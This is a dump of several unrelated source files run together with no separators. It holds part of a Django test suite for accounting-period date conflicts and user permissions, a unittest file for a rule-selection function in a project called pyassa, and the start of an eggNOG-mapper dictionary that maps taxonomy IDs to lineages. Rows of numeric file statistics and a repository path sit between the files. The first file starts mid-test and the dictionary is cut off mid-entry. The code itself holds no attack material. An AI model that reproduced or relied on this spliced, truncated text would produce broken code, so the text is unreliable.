self.assertTrue(self.is_timeconflict_response(response)) # 1 day overlap end data = { 'company':company.slug, 'start':dt.date(2020, 3, 31), 'end':dt.date(2020, 5, 1), } response = self.client.post(url, data, format='json') self.assertTrue(self.is_timeconflict_response(response)) # total overlap data = { 'company':company.slug, 'start':dt.date(2020, 1, 1), 'end':dt.date(2020, 5, 1), } response = self.client.post(url, data, format='json') self.assertTrue(self.is_timeconflict_response(response)) # same start and end data = { 'company':company.slug, 'start':dt.date(2020, 3, 1), 'end':dt.date(2020, 3, 31), } response = self.client.post(url, data, format='json') self.assertTrue(self.is_timeconflict_response(response)) self.assertEqual(Period.objects.count(), 1) def test_edit_period_start_end_conflict(self): """ Test user cannot edit a period if it conflicts """ company = self.factory.create_company(self.user) period1 = self.factory.create_period(company, dt.date(2020, 3, 1), dt.date(2020, 3, 31)) period2 = self.factory.create_period(company, dt.date(2020, 1, 1), dt.date(2020, 1, 31)) url = reverse('period-edit', kwargs={'slug':period2.slug}) # Partial overlap start data = { 'start':dt.date(2020, 1, 1), 'end':dt.date(2020, 3, 15), } response = self.client.post(url, data, format='json') self.assertTrue(self.is_timeconflict_response(response)) # Partial overlap end data = { 'start':dt.date(2020, 3, 15), 'end':dt.date(2020, 4, 15), } response = self.client.post(url, data, format='json') self.assertTrue(self.is_timeconflict_response(response)) # 1 day overlap start data = { 'start':dt.date(2020, 1, 15), 'end':dt.date(2020, 3, 1), } response = self.client.post(url, data, format='json') self.assertTrue(self.is_timeconflict_response(response)) # 1 day overlap end data = { 'start':dt.date(2020, 3, 31), 'end':dt.date(2020, 5, 1), } response = self.client.post(url, data, format='json') self.assertTrue(self.is_timeconflict_response(response)) # total overlap data = { 'start':dt.date(2020, 1, 1), 'end':dt.date(2020, 5, 1), } response = self.client.post(url, data, format='json') self.assertTrue(self.is_timeconflict_response(response)) # same start and end data = { 'start':dt.date(2020, 3, 1), 'end':dt.date(2020, 3, 31), } response = self.client.post(url, data, format='json') self.assertTrue(self.is_timeconflict_response(response)) def test_user_can_edit_own_period_start_end_date(self): """ Test that a user can edit their own period """ company = self.factory.create_company(self.user) period1 = self.factory.create_period(company, dt.date(2020, 3, 1), dt.date(2020, 3, 31)) url = reverse('period-edit', kwargs={'slug':period1.slug}) data = { 'start':dt.date(2020, 3, 15), 'end':dt.date(2020, 6, 15), } response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, status.HTTP_200_OK) period1.refresh_from_db() self.assertEqual(period1.start, dt.date(2020, 3, 15)) self.assertEqual(period1.end, dt.date(2020, 6, 15)) def test_user_cant_edit_to_have_start_after_end(self): """ Test that a user cant edit a period such that start date is after the end date. """ company = self.factory.create_company(self.user) period1 = self.factory.create_period(company, dt.date(2020, 3, 1), dt.date(2020, 3, 31)) url = reverse('period-edit', kwargs={'slug':period1.slug}) data = { 'start':dt.date(2020, 3, 15), 'end':dt.date(2020, 3, 15), } response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) data = { 'start':dt.date(2020, 3, 25), 'end':dt.date(2020, 3, 15), } response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_user_cannot_edit_other_users_period_start_end_date(self): """ Test that a user cant edit another users period """ company = self.factory.create_company(self.other_user) period1 = self.factory.create_period(company, dt.date(2020, 3, 1), dt.date(2020, 3, 31)) url = reverse('period-edit', kwargs={'slug':period1.slug}) data = { 'start':dt.date(2020, 3, 15), 'end':dt.date(2020, 6, 15), } response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.client.force_login(self.other_user) response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, status.HTTP_200_OK) def test_user_cannot_edit_period_dates_if_it_abandons_a_journal_entry(self): """ Test that a user cant edit start/end dates in such a way that journal entries exist outside that start/end dates. """ company = self.factory.create_company(self.user) period1 = self.factory.create_period(company, dt.date(2020, 3, 1), dt.date(2020, 3, 31)) journal_entry = self.factory.create_journal_entry( period1, dt.date(2020, 3, 20)) url = reverse('period-edit', kwargs={'slug':period1.slug}) data = { 'start':dt.date(2020, 2, 15), 'end':dt.date(2020, 3, 15), } response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertTrue("Journal Entry exists outside start/end" in response.data) data = { 'start':dt.date(2020, 3, 25), 'end':dt.date(2020, 5, 15), } response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) self.assertTrue("Journal Entry exists outside start/end" in response.data) data = { 'start':dt.date(2020, 2, 15), 'end':dt.date(2020, 3, 20), } response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, status.HTTP_200_OK) def test_user_can_delete_own_period(self): """ Test that a user can delete their own period """ company = self.factory.create_company(self.user) period1 = self.factory.create_period(company, dt.date(2020, 3, 1), dt.date(2020, 3, 31)) self.assertEqual(Period.objects.count(), 1) url = reverse("period-delete", kwargs={'slug':period1.slug}) response = self.client.post(url) self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(Period.objects.count(), 0) def test_user_cannot_delete_other_users_period(self): """ Test that a user cant delete another users period """ company = self.factory.create_company(self.other_user) period1 = self.factory.create_period(company, dt.date(2020, 3, 1), dt.date(2020, 3, 31)) self.assertEqual(Period.objects.count(), 1) url = reverse("period-delete", kwargs={'slug':period1.slug}) response = self.client.post(url) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual(Period.objects.count(), 1) self.client.force_login(self.other_user) response = self.client.post(url) self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(Period.objects.count(), 0) def test_user_can_delete_own_cashflow_worksheet_for_a_period(self): """ Test that a user can delete their own cashflow worksheet for a period """ company = self.factory.create_company(self.user) period = self.factory.create_period(company, dt.date(2020, 3, 1), dt.date(2020, 3, 31)) cash_flow_worksheet = self.factory.create_cashflow_worksheet(period) self.assertEqual(CashFlowWorksheet.objects.count(), 1) url = reverse("period-reset-cashflow-worksheet", kwargs={'slug':period.slug}) response = self.client.post(url) self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT) self.assertEqual(CashFlowWorksheet.objects.count(), 0) def test_user_cant_delete_another_users_cashflow_worksheet_for_a_period(self): """ Test that a user cant delete another users cashflow worksheet """ self.client.force_login(self.other_user) company = self.factory.create_company(self.user) period = self.factory.create_period(company, dt.date(2020, 3, 1), dt.date(2020, 3, 31)) cash_flow_worksheet = self.factory.create_cashflow_worksheet(period) self.assertEqual(CashFlowWorksheet.objects.count(), 1) url = reverse("period-reset-cashflow-worksheet", kwargs={'slug':period.slug}) response = self.client.post(url) self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND) self.assertEqual(CashFlowWorksheet.objects.count(), 1)
39.11007
96
0.618623
2,149
16,700
4.663099
0.073988
0.049696
0.082826
0.055982
0.872468
0.858697
0.834248
0.804511
0.770682
0.760204
0
0.053798
0.254252
16,700
426
97
39.201878
0.750843
0.085569
0
0.740984
0
0
0.05205
0.004101
0
0
0
0
0.209836
1
0.062295
false
0
0.016393
0.003279
0.085246
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
214355291f740d2052dc958bfbc7a9deda4a1d8e
11,754
py
Python
tests/test_select_rules/test_select_rules_function_directly_from_rules_module.py
AlexLitvino/pyASSA
8ce0925ee20431cc38d218d1b7cb05dee2f3f938
[ "Apache-2.0" ]
null
null
null
tests/test_select_rules/test_select_rules_function_directly_from_rules_module.py
AlexLitvino/pyASSA
8ce0925ee20431cc38d218d1b7cb05dee2f3f938
[ "Apache-2.0" ]
null
null
null
tests/test_select_rules/test_select_rules_function_directly_from_rules_module.py
AlexLitvino/pyASSA
8ce0925ee20431cc38d218d1b7cb05dee2f3f938
[ "Apache-2.0" ]
null
null
null
import unittest from tests.test_select_rules.rules_to_test_select_rules_function import * import tests.test_select_rules.rules_to_test_select_rules_function from pyassa.utils import select_rules from pyassa.utils import get_rules from tests.test_select_rules.configparsermock import ConfigparserMock class TestSelectRulesDirectlyFromRulesModule(unittest.TestCase): def setUp(self): configparser = ConfigparserMock() self.config = configparser.ConfigParser() self.rules = get_rules(tests.test_select_rules.rules_to_test_select_rules_function) def test_FFFF_00(self): #00|F |F |F |F |No rules configuration_file = { "Other": False, "Errors": False, "Warnings": False, "SkipRulesFilePath": "", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": True } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([], selected_rules) def test_FFFT_01(self): #01|F |F |F |T |No rules configuration_file = { "Other": False, "Errors": False, "Warnings": False, "SkipRulesFilePath": "skipped_rules.txt", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": False } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([], selected_rules) def test_FFTF_02(self): #02|F |F |T |F |Only warnings configuration_file = { "Other": False, "Errors": False, "Warnings": True, "SkipRulesFilePath": "", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": True } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([rule_warning_test1, rule_warning_test2, rule_warning_test3], selected_rules) def test_FFTT_03(self): #03|F |F |T |T |Only warnings, except skipped configuration_file = { "Other": False, "Errors": False, "Warnings": True, "SkipRulesFilePath": "skipped_rules.txt", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": False } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([rule_warning_test1, rule_warning_test3], selected_rules) def test_FTFF_04(self): #04|F |T |F |F |Only errors configuration_file = { "Other": False, "Errors": True, "Warnings": False, "SkipRulesFilePath": "", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": True } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([rule_error_test1, rule_error_test2, rule_error_test3], selected_rules) def test_FTFT_05(self): #05|F |T |F |T |Only errors, except skipped configuration_file = { "Other": False, "Errors": True, "Warnings": False, "SkipRulesFilePath": "skipped_rules.txt", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": False } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([rule_error_test2, rule_error_test3], selected_rules) def test_FTTF_06(self): #06|F |T |T |F |All errors and warnings configuration_file = { "Other": False, "Errors": True, "Warnings": True, "SkipRulesFilePath": "", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": True } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([rule_error_test1, rule_error_test2, rule_error_test3, rule_warning_test1, rule_warning_test2, rule_warning_test3], selected_rules) def test_FTTT_07(self): #07|F |T |T |T |Only errors and warnings, except skipped configuration_file = { "Other": False, "Errors": True, "Warnings": True, "SkipRulesFilePath": "skipped_rules.txt", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": False } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([rule_error_test2, rule_error_test3, rule_warning_test1, rule_warning_test3], selected_rules) def test_TFFF_08(self): #08|T |F |F |F |All not errors and not warnings configuration_file = { "Other": True, "Errors": False, "Warnings": False, "SkipRulesFilePath": "", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": True } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([rule_notcategorized_test1, rule_notcategorized_test2, rule_notcategorized_test3], selected_rules) def test_TFFT_09(self): #09|T |F |F |T |All, not errors and not warnings except skipped configuration_file = { "Other": True, "Errors": False, "Warnings": False, "SkipRulesFilePath": "skipped_rules.txt", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": False } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([rule_notcategorized_test1, rule_notcategorized_test2], selected_rules) def test_TFTF_10(self): #10|T |F |T |F |All, not errors configuration_file = { "Other": True, "Errors": False, "Warnings": True, "SkipRulesFilePath": "", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": True } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([rule_warning_test1, rule_warning_test2, rule_warning_test3, rule_notcategorized_test1, rule_notcategorized_test2, rule_notcategorized_test3], selected_rules) def test_TFTT_11(self): #11|T |F |T |T |All, not errors, except skipped configuration_file = { "Other": True, "Errors": False, "Warnings": True, "SkipRulesFilePath": "skipped_rules.txt", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": False } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([rule_warning_test1, rule_warning_test3, rule_notcategorized_test1, rule_notcategorized_test2], selected_rules) def test_TTFF_12(self): #12|T |T |F |F |All, not warnings configuration_file = { "Other": True, "Errors": True, "Warnings": False, "SkipRulesFilePath": "", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": True } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([rule_error_test1, rule_error_test2, rule_error_test3, rule_notcategorized_test1, rule_notcategorized_test2, rule_notcategorized_test3], selected_rules) def test_TTFT_13(self): #13|T |T |F |T |All, not warnings, except skipped configuration_file = { "Other": True, "Errors": True, "Warnings": False, "SkipRulesFilePath": "skipped_rules.txt", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": False } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([rule_error_test2, rule_error_test3, rule_notcategorized_test1, rule_notcategorized_test2], selected_rules) def test_TTTF_14(self): #14|T |T |T |F |All configuration_file = { "Other": True, "Errors": True, "Warnings": True, "SkipRulesFilePath": "", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": True } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([rule_error_test1, rule_error_test2, rule_error_test3, rule_warning_test1, rule_warning_test2, rule_warning_test3, rule_notcategorized_test1, rule_notcategorized_test2, rule_notcategorized_test3], selected_rules) def test_TTTT_15(self): #15|T |T |T |T |All, except skipped configuration_file = { "Other": True, "Errors": True, "Warnings": True, "SkipRulesFilePath": "skipped_rules.txt", "ExclusiveRulesFilePath": "", "FilterExclusiveRules": False } self.config.read(configuration_file) selected_rules = select_rules(self.rules, self.config) self.assertCountEqual([rule_error_test2, rule_error_test3, rule_warning_test1, rule_warning_test3, rule_notcategorized_test1, rule_notcategorized_test2], selected_rules) if __name__ == "__main__": #unittest.main() suite = unittest.TestLoader().loadTestsFromTestCase(TestSelectRulesDirectlyFromRulesModule) unittest.TextTestRunner(verbosity=2).run(suite)
40.391753
95
0.530798
976
11,754
6.11168
0.095287
0.055323
0.059011
0.072422
0.872758
0.868064
0.85834
0.854652
0.84979
0.770997
0
0.017272
0.384295
11,754
290
96
40.531034
0.806964
0.060065
0
0.81746
0
0
0.12619
0.03191
0
0
0
0
0.063492
1
0.06746
false
0
0.02381
0
0.095238
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
dccbfbe31cd0ff82da8ef0c9048c5934dc9c39d9
87,623
py
Python
Tools/eggNOG/eggnogmapper/vars.py
EBI-Metagenomics/CWL_eggNOG
df4b1d2ac726bde4d03a5d8e7b0287018d854a7b
[ "Apache-2.0" ]
10
2020-01-23T07:44:14.000Z
2022-03-09T15:24:23.000Z
Tools/eggNOG/eggnogmapper/vars.py
EBI-Metagenomics/CWL_eggNOG
df4b1d2ac726bde4d03a5d8e7b0287018d854a7b
[ "Apache-2.0" ]
21
2020-05-04T00:09:37.000Z
2022-03-25T11:15:38.000Z
Tools/eggNOG/eggnogmapper/vars.py
EBI-Metagenomics/CWL_eggNOG
df4b1d2ac726bde4d03a5d8e7b0287018d854a7b
[ "Apache-2.0" ]
8
2020-03-01T07:03:01.000Z
2022-02-22T08:27:56.000Z
LEVEL_PARENTS={'35237': ['35237', '10239', '1'], '358033': ['59732', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '11989': ['11989', '35278', '439488', '10239', '1'], '200930': ['200930', '2', '131567', '1'], '119603': ['119603', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '76804': ['76804', '35278', '439488', '10239', '1'], '451870': ['451870', '147545', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '186818': ['186818', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '815': ['815', '171549', '200643', '976', '68336', '1783270', '2', '131567', '1'], '204428': ['204428', '1783257', '2', '131567', '1'], '285107': ['285107', '31989', '204455', '28211', '1224', '2', '131567', '1'], '145357': ['145357', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '6656': ['6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '57723': ['57723', '2', '131567', '1'], '1129': ['1129', '1890426', '1890424', '1117', '1798711', '1783272', '2', '131567', '1'], '675063': ['675063', '35278', '439488', '10239', '1'], '135625': ['135625', '1236', '1224', '2', '131567', '1'], '135624': ['135624', '1236', '1224', '2', '131567', '1'], '135623': ['135623', '1236', '1224', '2', '131567', '1'], '43988': ['43988', '1892249', '1150', '1301283', '1117', '1798711', '1783272', '2', '131567', '1'], '766764': ['766764', '4892', '4891', '147537', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '33958': ['33958', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '28037': ['28037', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '5819': ['5819', '422676', '5794', '33630', '2759', '131567', '1'], '183980': ['183980', '28890', '2157', '131567', '1'], '1016': ['1016', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '203682': ['203682', '1783257', '2', '131567', '1'], '1236': ['1236', '1224', '2', '131567', '1'], '135614': ['135614', '1236', '1224', '2', '131567', '1'], '200795': ['200795', '1783272', '2', '131567', '1'], '38820': ['38820', '4734', '1437197', '4447', '1437183', '3398', '58024', '78536', '58023', '3193', '131221', '35493', '33090', '2759', '131567', '1'], '85020': ['85020', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '85021': ['85021', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '85023': ['85023', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '85025': ['85025', '85007', '1760', '201174', '1783272', '2', '131567', '1'], '85026': ['85026', '85007', '1760', '201174', '1783272', '2', '131567', '1'], '224756': ['224756', '28890', '2157', '131567', '1'], '45667': ['45667', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '35278': ['35278', '439488', '10239', '1'], '121069': ['121069', '4762', '33634', '2759', '131567', '1'], '400634': ['400634', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '5139': ['5139', '222544', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '112252': ['112252', '4751', '33154', '2759', '131567', '1'], '186813': ['186813', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '1100069': ['1100069', '976', '68336', '1783270', '2', '131567', '1'], '28889': ['28889', '1783275', '2157', '131567', '1'], '28883': ['28883', '35237', '10239', '1'], '225057': ['225057', '1807140', '1224', '2', '131567', '1'], '252301': ['252301', '31989', '204455', '28211', '1224', '2', '131567', '1'], '541000': ['541000', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '33213': ['33213', '6072', '33208', '33154', '2759', '131567', '1'], '245186': ['245186', '31989', '204455', '28211', '1224', '2', '131567', '1'], '182709': ['182709', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '117747': ['117747', '976', '68336', '1783270', '2', '131567', '1'], '117743': ['117743', '976', '68336', '1783270', '2', '131567', '1'], '10841': ['10841', '29258', '10239', '1'], '76831': ['76831', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '651137': ['651137', '1783275', '2157', '131567', '1'], '5796': ['5796', '1280412', '5794', '33630', '2759', '131567', '1'], '5794': ['5794', '33630', '2759', '131567', '1'], '414999': ['414999', '74201', '1783257', '2', '131567', '1'], '629295': ['629295', '1883', '2062', '85011', '1760', '201174', '1783272', '2', '131567', '1'], '40117': ['40117', '2', '131567', '1'], '84406': ['84406', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '32199': ['32199', '1903409', '91347', '1236', '1224', '2', '131567', '1'], '551': ['551', '1903409', '91347', '1236', '1224', '2', '131567', '1'], '91061': ['91061', '1239', '1783272', '2', '131567', '1'], '267894': ['267894', '135622', '1236', '1224', '2', '131567', '1'], '237': ['237', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '267890': ['267890', '135622', '1236', '1224', '2', '131567', '1'], '267893': ['267893', '135622', '1236', '1224', '2', '131567', '1'], '29258': ['29258', '10239', '1'], '1': ['1'], '136849': ['136849', '286', '135621', '72274', '1236', '1224', '2', '131567', '1'], '136841': ['136841', '286', '135621', '72274', '1236', '1224', '2', '131567', '1'], '548681': ['548681', '35237', '10239', '1'], '83612': ['83612', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '136845': ['136845', '286', '135621', '72274', '1236', '1224', '2', '131567', '1'], '136846': ['136846', '286', '135621', '72274', '1236', '1224', '2', '131567', '1'], '613': ['613', '1903411', '91347', '1236', '1224', '2', '131567', '1'], '9443': ['9443', '314146', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '33554': ['33554', '314145', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '34383': ['1593277', '33183', '451871', '147545', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '34384': ['34384', '33183', '451871', '147545', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '204441': ['204441', '28211', '1224', '2', '131567', '1'], '45401': ['45401', '356', '28211', '1224', '2', '131567', '1'], '289201': ['289201', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '45404': ['45404', '356', '28211', '1224', '2', '131567', '1'], '572511': ['572511', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '547': ['547', '543', '91347', '1236', '1224', '2', '131567', '1'], '129337': ['129337', '186817', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '1305': ['1305', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '1307': ['1307', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '84998': ['84998', '201174', '1783272', '2', '131567', '1'], '84995': ['84995', '201174', '1783272', '2', '131567', '1'], '84992': ['84992', '201174', '1783272', '2', '131567', '1'], '10699': ['10699', '28883', '35237', '10239', '1'], '314294': ['314294', '9526', '314293', '376913', '9443', '314146', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '82115': ['82115', '356', '28211', '1224', '2', '131567', '1'], '82117': ['82117', '28211', '1224', '2', '131567', '1'], '91561': ['91561', '314145', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '50557': ['50557', '6960', '197562', '197563', '6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '119045': ['119045', '356', '28211', '1224', '2', '131567', '1'], '119043': ['119043', '356', '28211', '1224', '2', '131567', '1'], '29': ['29', '28221', '68525', '1224', '2', '131567', '1'], '85019': ['85019', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '85018': ['85018', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '2157': ['2157', '131567', '1'], '10662': ['10662', '28883', '35237', '10239', '1'], '28216': ['28216', '1224', '2', '131567', '1'], '85010': ['85010', '1760', '201174', '1783272', '2', '131567', '1'], '85013': ['85013', '1760', '201174', '1783272', '2', '131567', '1'], '10744': ['10744', '28883', '35237', '10239', '1'], '85014': ['85014', '1760', '201174', '1783272', '2', '131567', '1'], '85017': ['85017', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '85016': ['85016', '85006', '1760', '201174', '1783272', '2', '131567', '1'], '33090': ['33090', '2759', '131567', '1'], '52959': ['52959', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '713636': ['713636', '28216', '1224', '2', '131567', '1'], '31993': ['31993', '356', '28211', '1224', '2', '131567', '1'], '136843': ['136843', '286', '135621', '72274', '1236', '1224', '2', '131567', '1'], '71274': ['71274', '1437201', '91827', '71240', '1437183', '3398', '58024', '78536', '58023', '3193', '131221', '35493', '33090', '2759', '131567', '1'], '1060': ['1060', '31989', '204455', '28211', '1224', '2', '131567', '1'], '92860': ['92860', '451868', '147541', '715962', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '1028384': ['1028384', '222543', '147550', '715989', '716546', '147538', '716545', '4890', '451864', '4751', '33154', '2759', '131567', '1'], '256005': ['256005', '135622', '1236', '1224', '2', '131567', '1'], '10239': ['10239', '1'], '290174': ['290174', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '82986': ['82986', '1903409', '91347', '1236', '1224', '2', '131567', '1'], '93682': ['93682', '31989', '204455', '28211', '1224', '2', '131567', '1'], '1653': ['1653', '85007', '1760', '201174', '1783272', '2', '131567', '1'], '586': ['586', '1903414', '91347', '1236', '1224', '2', '131567', '1'], '135619': ['135619', '1236', '1224', '2', '131567', '1'], '583': ['583', '1903414', '91347', '1236', '1224', '2', '131567', '1'], '976': ['976', '68336', '1783270', '2', '131567', '1'], '423358': ['423358', '35237', '10239', '1'], '135613': ['135613', '1236', '1224', '2', '131567', '1'], '186928': ['186928', '186803', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '2836': ['2836', '33634', '2759', '131567', '1'], '308865': ['308865', '49546', '200644', '117743', '976', '68336', '1783270', '2', '131567', '1'], '28221': ['28221', '68525', '1224', '2', '131567', '1'], '33867': ['33867', '28890', '2157', '131567', '1'], '32003': ['32003', '28216', '1224', '2', '131567', '1'], '7148': ['7148', '7147', '33392', '33340', '7496', '85512', '50557', '6960', '197562', '197563', '6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '68892': ['68892', '1301', '1300', '186826', '91061', '1239', '1783272', '2', '131567', '1'], '7147': ['7147', '33392', '33340', '7496', '85512', '50557', '6960', '197562', '197563', '6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '228398': ['228398', '2062', '85011', '1760', '201174', '1783272', '2', '131567', '1'], '1224': ['1224', '2', '131567', '1'], '590': ['590', '543', '91347', '1236', '1224', '2', '131567', '1'], '629': ['629', '1903411', '91347', '1236', '1224', '2', '131567', '1'], '10656': ['10656', '35237', '10239', '1'], '314146': ['314146', '1437010', '9347', '32525', '40674', '32524', '32523', '1338369', '8287', '117571', '117570', '7776', '7742', '89593', '7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '33208': ['33208', '33154', '2759', '131567', '1'], '7711': ['7711', '33511', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '3699': ['3699', '91836', '71275', '1437201', '91827', '71240', '1437183', '3398', '58024', '78536', '58023', '3193', '131221', '35493', '33090', '2759', '131567', '1'], '11157': ['11157', '35301', '439488', '10239', '1'], '302485': ['302485', '31989', '204455', '28211', '1224', '2', '131567', '1'], '206350': ['32003', '28216', '1224', '2', '131567', '1'], '206351': ['206351', '28216', '1224', '2', '131567', '1'], '2': ['2', '131567', '1'], '422676': ['422676', '5794', '33630', '2759', '131567', '1'], '41294': ['41294', '356', '28211', '1224', '2', '131567', '1'], '10404': ['10404', '35268', '10239', '1'], '58840': ['58840', '31989', '204455', '28211', '1224', '2', '131567', '1'], '539002': ['539002', '1385', '91061', '1239', '1783272', '2', '131567', '1'], '167375': ['167375', '1890426', '1890424', '1117', '1798711', '1783272', '2', '131567', '1'], '118884': ['118884', '1236', '1224', '2', '131567', '1'], '213481': ['213481', '1553900', '1224', '2', '131567', '1'], '7214': ['7214', '43746', '43741', '43738', '480117', '480118', '43733', '7203', '7147', '33392', '33340', '7496', '85512', '50557', '6960', '197562', '197563', '6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '118882': ['118882', '356', '28211', '1224', '2', '131567', '1'], '200783': ['200783', '2', '131567', '1'], '28890': ['28890', '2157', '131567', '1'], '2759': ['2759', '131567', '1'], '33342': ['33342', '33340', '7496', '85512', '50557', '6960', '197562', '197563', '6656', '88770', '1206794', '33317', '33213', '6072', '33208', '33154', '2759', '131567', '1'], '10474': ['10474', '35237', '10239', '1'], '10477': ['10477', '1511857', '35237', '10239', '1'], '68295': ['68295', '186801', '1239', '1783272', '2', '131567', '1'], '200918': ['200918', '2', '131567', '1'], '622450': ['622450', '1760', '201174', '1783272', '2', '131567', '1'], '558415': ['558415', '1970189', '200643', '976', '68336', '1783270', '2', '131567', '1'], '464095': ['464095', '35278', '439488', '10239', '1'], '201174': ['201174', '1783272', '2', '131567', '1'], '526524': ['526524', '1239', '1783272', '2', '131567', '1'], '155619': ['155619', '5302', '5204', '451864', '4751', '33154', '2759', '131567', '1'], '452284': ['452284', '5204', '451864', '4751', '33154', '2759', '131567', '1'], '186801': ['186801', '1239', '1783272', '2', '131567', '1'], '186807': ['186807', '186802', '186801', '1239', '1783272', '2', '131567', '1'], '186806': ['186806', '186802', '186801', '1239', '1783272', '2', '131567', 